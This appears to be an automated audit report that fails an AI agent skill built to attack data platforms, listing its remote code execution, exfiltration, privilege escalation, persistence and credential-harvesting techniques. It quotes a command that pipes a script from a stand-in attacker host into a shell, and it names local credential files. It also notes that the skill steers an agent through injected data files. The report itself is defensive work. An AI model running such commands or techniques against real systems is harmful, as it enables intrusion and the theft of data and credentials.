data-platform-attack
Fail
Audited by Gen Agent Trust Hub on Sep 19, 2026
Risk Level: HIGHREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDATA_EXFILTRATIONPRIVILEGE_ESCALATIONPERSISTENCECREDENTIALS_UNSAFEDYNAMIC_EXECUTIONINDIRECT_PROMPT_INJECTIONEXTERNAL_DOWNLOADS
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill documents and provides functional payloads for remote code execution across multiple platforms. Specifically, it includes patterns for executing remote shell scripts via piped curl commands (e.g.,
curl http://attacker.com/c2 | shin cluster init scripts) and abusing APIs like Spark Livy to submit arbitrary Python/Scala code to be executed on compute clusters. - [COMMAND_EXECUTION]: The skill heavily utilizes the
Bashtool to perform network discovery, run exploitation scripts, and manage cloud CLI tools for attacking target environments. - [DATA_EXFILTRATION]: Extensive methods for data exfiltration are detailed, including creating external stages pointing to attacker-controlled S3/GCS buckets, using UDFs to send data to external webhooks, and abusing native platform features like Snowflake Secure Data Sharing to move data to external accounts.
- [PRIVILEGE_ESCALATION]: The instructions cover multiple privilege escalation paths, such as exploiting SCIM role mapping wildcards to assume the
ACCOUNTADMINrole in Snowflake, and using RedshiftGetClusterCredentialsto pivot from database access to cloud IAM roles. - [PERSISTENCE]: Persistence techniques are documented, including the creation of backdoored SAML security integrations, reader accounts, and malicious Airflow DAGs that execute on a schedule to maintain access or exfiltrate environment data.
- [CREDENTIALS_UNSAFE]: The skill provides detailed guidance on harvesting credentials from sensitive local files such as
~/.aws/credentials,~/.snowsql/config,~/.databrickscfg, anddbtprofiles.ymlfiles, as well as dumping metadata databases for Airflow connections. - [DYNAMIC_EXECUTION]: Several workflows involve generating executable content at runtime, such as building malicious Python Wheels (
setup.py) that execute code upon installation or creating dynamic init scripts for Databricks clusters. - [INDIRECT_PROMPT_INJECTION]: The skill identifies "Notebook code injection" as a core attack vector (Category 8 surface), instructing the agent to use malicious data files (CSV/Parquet) to trigger code execution within shared analytics environments.
- [EXTERNAL_DOWNLOADS]: The skill references and downloads tools from various sources, including official cloud CLIs (AWS, gcloud, snowsql) and security-focused repositories (pacu, enumerate-iam), which are used to facilitate the attack workflows.
Recommendations
- AI detected serious security threats
Audit Metadata